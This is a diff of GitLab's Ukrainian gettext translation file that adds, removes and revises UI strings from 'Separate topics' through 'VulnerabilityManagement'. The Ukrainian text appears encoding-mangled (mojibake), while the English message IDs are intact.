-msgid "Separate topics with commas."
-msgstr "ВідділÑйте теми комами."
-
msgid "September"
msgstr "вереÑень"
@@ -31636,7 +32187,16 @@ msgstr "Ваш репозиторій не міÑтить відповідног
msgid "Service"
msgstr "СервіÑ"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr "URL ÑервіÑу"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr "Ð’Ñтановити заплановану дату завершеннÑ
msgid "Set the iteration to %{iteration_reference}."
msgstr "Ð’Ñтановлено ітерацію %{iteration_reference}."
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr "Ð’Ñтановити вагу %{weight}."
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "вÑтановити пароль"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Додати Ñмайлик-ÑтатуÑ"
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "ÐалаштуваннÑ"
@@ -31979,11 +32542,32 @@ msgstr "Обнулити викориÑтані хвилини в конвеєр
msgid "Sherlock Transactions"
msgstr "Sherlock транзакції"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
msgid "Show Pipeline ID"
-msgstr ""
+msgstr "Показувати ідентифікатор конвеєра"
msgid "Show Pipeline IID"
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr "Показати вÑÑŽ активніÑÑ‚ÑŒ"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32042,18 +32629,9 @@ msgstr "Показати оÑтанню верÑÑ–ÑŽ"
msgid "Show list"
msgstr "Показати ÑпиÑок"
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Показати батьківÑькі Ñторінки"
-
-msgid "Show parent subgroups"
-msgstr "Показати батьківÑькі підгрупи"
-
msgid "Show the Closed list"
msgstr ""
@@ -32324,7 +32902,7 @@ msgid "Smartcard authentication failed: client certificate header is missing."
msgstr "Ðе вдалоÑÑ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÑƒÐ²Ð°Ñ‚Ð¸ Ñмарт-карту: відÑутній заголовок в Ñертифікаті клієнта."
msgid "Snippet"
-msgstr ""
+msgstr "Сніпет"
msgid "Snippets"
msgstr "Сніпети"
@@ -32422,6 +33000,12 @@ msgstr "ЩоÑÑŒ пішло не так на нашій Ñтороні. Будь
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "ЩоÑÑŒ пішло не так, при Ñпробі зміни Ñтану Ð±Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ %{issuableDisplayName}"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Проблема при отриманні Ñередовищ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту на злиттÑ. Будь лаÑка, Ñпробуйте знову."
-msgid "Something went wrong while fetching the package."
-msgstr "Помилка при отриманні пакету."
-
msgid "Something went wrong while fetching the packages list."
msgstr "Помилка при отриманні ÑпиÑку пакетів."
@@ -32785,9 +33366,6 @@ msgstr "Джерело (гілка або тег)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr "Джерело недоÑтупне"
msgid "Source project cannot be found."
msgstr "Проєкт-джерело не знайдено."
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32912,7 +33517,7 @@ msgid "StarProject|Star"
msgstr "В обрані"
msgid "Starred Projects"
-msgstr "Обрані Проекти"
+msgstr "Обрані Проєкти"
msgid "Starred Projects' Activity"
msgstr "ÐктивніÑÑ‚ÑŒ в обраних проєктах"
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr "Розпочати перевірку"
-msgid "Start and due date"
-msgstr "Дата початку та завершеннÑ"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Розпочніть із вибору групи Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ що переглÑдати Ñ—Ñ— запити на злиттÑ. Далі ви зможете накладати фільтри за проєктами, мітками, етапами та авторами."
@@ -33023,7 +33625,7 @@ msgid "State your message to activate"
msgstr "Залиште Ñвоє Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ñ–Ñ—"
msgid "State/Province/City"
-msgstr ""
+msgstr "Регіон/ОблаÑÑ‚ÑŒ/МіÑто"
msgid "Static Application Security Testing (SAST)"
msgstr ""
@@ -33106,6 +33708,9 @@ msgstr "СтатуÑ:"
msgid "Status: %{title}"
msgstr "СтатуÑ: %{title}"
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33962,7 +34579,7 @@ msgid "TagsPage|Use git tag command to add a new one:"
msgstr "ВикориÑтовуйте команду git tag, щоб додати новий тег:"
msgid "TagsPage|Write your release notes or drag files here…"
-msgstr "Створіть Ð¾Ð¿Ð¸Ñ Ñ€ÐµÐ»Ñ–Ð·Ñƒ або перетÑгніть файли Ñюди…"
+msgstr "Створити Ð¾Ð¿Ð¸Ñ Ñ€ÐµÐ»Ñ–Ð·Ñƒ або перетÑгніть файли Ñюди…"
msgid "TagsPage|protected"
msgstr "захищений"
@@ -34004,7 +34621,7 @@ msgid "TeamcityIntegration|Trigger TeamCity CI after every push to the repositor
msgstr ""
msgid "Telephone number"
-msgstr ""
+msgstr "Ðомер телефону"
msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr "Стан"
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,8 +35042,8 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
-msgstr "URL-адреÑа Ð´Ð»Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ Elasticsearch. ВикориÑтовуйте ÑпиÑок, розділений комами, Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ñ€Ð¸Ð¼ÐºÐ¸ клаÑтеризації (наприклад: \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
+msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Сертифікат X509 викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð²Ð·Ð°Ñ”Ð¼Ð½Ð¾Ñ— перевірки автентичноÑÑ‚Ñ– TLS Ñ– необхідний Ð´Ð»Ñ Ð·Ð²'Ñзку з зовнішньою Ñлужбою авторизації. Якщо залишити порожнім, Ñертифікат Ñервера буде перевірÑтиÑÑŒ при доÑтупі через HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Ð—â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð±ÑƒÐ´Ðµ припинено піÑÐ»Ñ %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð², Ñким потрібно більше чаÑу, викориÑтовуйте комбінацію clone/push."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34751,13 +35368,13 @@ msgid "The project is accessible only by members of the project. Access must be
msgstr "Цей проєкт доÑтупний тільки Ð´Ð»Ñ Ð¹Ð¾Ð³Ð¾ учаÑників. ДоÑтуп може бути надано тільки безпоÑередньо кожному кориÑтувачу."
msgid "The project is still being deleted. Please try again later."
-msgstr "Проект вÑе ще видалÑєтьÑÑ. Будь лаÑка, Ñпробуйте знову."
+msgstr "Проєкт вÑе ще видалÑєтьÑÑ. Будь лаÑка, Ñпробуйте знову."
msgid "The project was successfully forked."
msgstr "УÑпішно Ñтворено форк проєкту."
msgid "The project was successfully imported."
-msgstr "Проект уÑпішно імпортовано."
+msgstr "Проєкт уÑпішно імпортовано."
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr "Цей Ñніпет видимий тільки Ð´Ð»Ñ ÑƒÑ‡Ð°ÑникіÐ
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr "Вказана вкладка недійÑна. Будь лаÑка, виберіть іншу"
@@ -34861,6 +35475,9 @@ msgstr "ВразливіÑÑ‚ÑŒ більше не виÑвлÑєтьÑÑ. ПерÐ
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr "ВразливіÑÑ‚ÑŒ більше не виÑвлÑєтьÑÑ. Перевірте, що цю вразливіÑÑ‚ÑŒ виправлено перед тим, Ñк змінювати ÑтатуÑ."
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr "Ðа диÑку вже Ñ–Ñнує репозиторій за таким ім’Ñм"
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Цей коміт Ñ” чаÑтиною запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{link_to_merge_request}. Створені тут коментарі будуть в контекÑÑ‚Ñ– цього запитну на злиттÑ."
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "Ð¦Ñ Ð´Ð°Ñ‚Ð° наÑтупає пізніше дати закінченнÑ, тому цей епік не буде відображатиÑÑ Ð² плані-графіку."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "Ð¦Ñ Ð´Ð°Ñ‚Ð° Ñ” більш ранньою, ніж дата початку, тому цей епік не відображатиметьÑÑ Ð² плані-графіку."
-
msgid "This device has already been registered with us."
msgstr "Цей приÑтрій уже зареєÑтровано на нашій Ñтороні."
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr "Це поле Ñ” обов'Ñзковим."
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Це журнал безпеки, Ñкий міÑтить уÑÑ– важливі події пов’Ñзані із вашим обліковим запиÑом."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Це ваш поточний ÑеанÑ"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту немає домашньої ÑторÑ
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "Цей проєкт заархівовано і його не можна коментувати."
@@ -35770,8 +36390,8 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
-msgstr "Моніторинг Загроз"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr ""
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr "Щоб переглÑнути оперативні дані цього проєкту зв’ÑжітьÑÑ Ñ–Ð· влаÑником групи %{groupName} Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÑ…Ð¾Ð´Ñƒ на вищий тарифний план. Ви також можете видалити цей проєкт із панелі управліннÑ."
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "Щоб налаштувати автентифікацію SAML Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ñ— групи через провайдера ідентифікації такої Ñк Azure, Okta, Onelogin, Ping Identity або вашого влаÑного поÑтачальника SAML 2.0:"
@@ -36342,6 +36965,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,10 +37073,10 @@ msgstr "Завтра"
msgid "Too many changes to show."
msgstr "Забагато змін Ð´Ð»Ñ Ð¿Ð¾ÐºÐ°Ð·Ñƒ."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36460,19 +37086,16 @@ msgid "Topic %{topic_name} was successfully created."
msgstr ""
msgid "Topic avatar"
-msgstr ""
+msgstr "Іконка теми"
msgid "Topic name"
-msgstr ""
+msgstr "Ðазва теми"
msgid "Topic was successfully updated."
-msgstr ""
+msgstr "Тему уÑпішно оновлено."
msgid "Topics"
-msgstr ""
-
-msgid "Topics (optional)"
-msgstr "Теми (додатково)"
+msgstr "Теми"
msgid "Total"
msgstr "Ð’Ñього"
@@ -36534,6 +37157,9 @@ msgstr "ВідÑтежуйте Ñ‡Ð°Ñ Ð·Ð° допомогою швидких дÑ
msgid "Track your GitLab projects with GitLab for Slack."
msgstr "ВідÑтежуйте Ñвої проєкти GitLab за допомогою GitLab Ð´Ð»Ñ Slack."
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr "Передача"
@@ -36580,7 +37206,7 @@ msgid "TransferProject|Please select a new namespace for your project."
msgstr "Будь лаÑка, виберіть новий проÑÑ‚Ñ–Ñ€ імен Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ проєкту."
msgid "TransferProject|Project cannot be transferred, because tags are present in its container registry"
-msgstr "Проект не може бути переміщений, тому що в реєÑтрі контейнерів приÑутні теги"
+msgstr "Проєкт не може бути переміщений, тому що в реєÑтрі контейнерів приÑутні теги"
msgid "TransferProject|Project is already in this namespace."
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "Спробувати зробити форк знову"
@@ -36961,9 +37593,6 @@ msgstr "Ðеможливо завантажити порівнÑÐ½Ð½Ñ (diff). %
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ віджет запиту на злиттÑ. Спробуйте перезавантажити Ñторінку."
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ ітерацію. Будь лаÑка, Ñпробуйте ще раз"
@@ -37069,6 +37698,9 @@ msgstr "Ðевідомий формат"
msgid "Unknown response text"
msgstr "Ðевідомий текÑÑ‚ відповіді"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr "ВідпиÑує від %{quick_action_target}."
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr "До"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37244,7 +37873,7 @@ msgid "UpdateProject|New visibility level not allowed!"
msgstr "Ðовий рівень видимоÑÑ‚Ñ– не допуÑкаєтьÑÑ!"
msgid "UpdateProject|Project could not be updated!"
-msgstr "Проект не може бути оновлений!"
+msgstr "Проєкт не може бути оновлений!"
msgid "UpdateRepositoryStorage|Failed to verify %{type} repository checksum from %{old} to %{new}"
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr "ОновленнÑ"
msgid "Updating"
msgstr "ОновленнÑ"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "Завантажити файл відповідноÑÑ‚Ñ– об’єктів"
@@ -37315,9 +37950,6 @@ msgstr "ÐатиÑніть, щоб надіÑлати"
msgid "Uploading changes to terminal"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð·Ð¼Ñ–Ð½ до терміналу"
-msgid "Uploads"
-msgstr "ЗавантаженнÑ"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr "Ð§Ð°Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸"
msgid "Upvotes"
msgstr "Лайки"
-msgid "Usage"
-msgstr "ВикориÑтано"
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr "Сховище LFS"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Пакети"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr "Репозиторій"
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "Цей проÑÑ‚Ñ–Ñ€ імен не міÑтить проєктів, що викориÑтовують загальні runner'и"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr "Вікі"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "Вікі"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr "ВикориÑтовуєтьÑÑ Ð´Ð»Ñ Ð´Ð¾Ð¿Ð¾Ð¼Ð¾Ð³Ð¸ в налаштуванні провайдера ідентифікації"
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача (необов'Ñзково)"
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr "Стан перевірки"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Підтверджено"
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr "ПереглÑнути документацію"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr "ПереглÑнути запити на злиттÑ"
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr "Звіт про вразливоÑÑ‚Ñ–"
msgid "Vulnerability remediated. Review before resolving."
msgstr "ВразливіÑÑ‚ÑŒ виправлено. ПереглÑньте перед вирішеннÑм."
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr "ВразливіÑÑ‚ÑŒ вирішено в %{branch}"
@@ -38488,9 +39114,6 @@ msgstr "%{formattedStartDate} до Ñьогодні"
msgid "VulnerabilityChart|Severity"
msgstr "Рівень"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr "Змінити ÑтатуÑ"
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
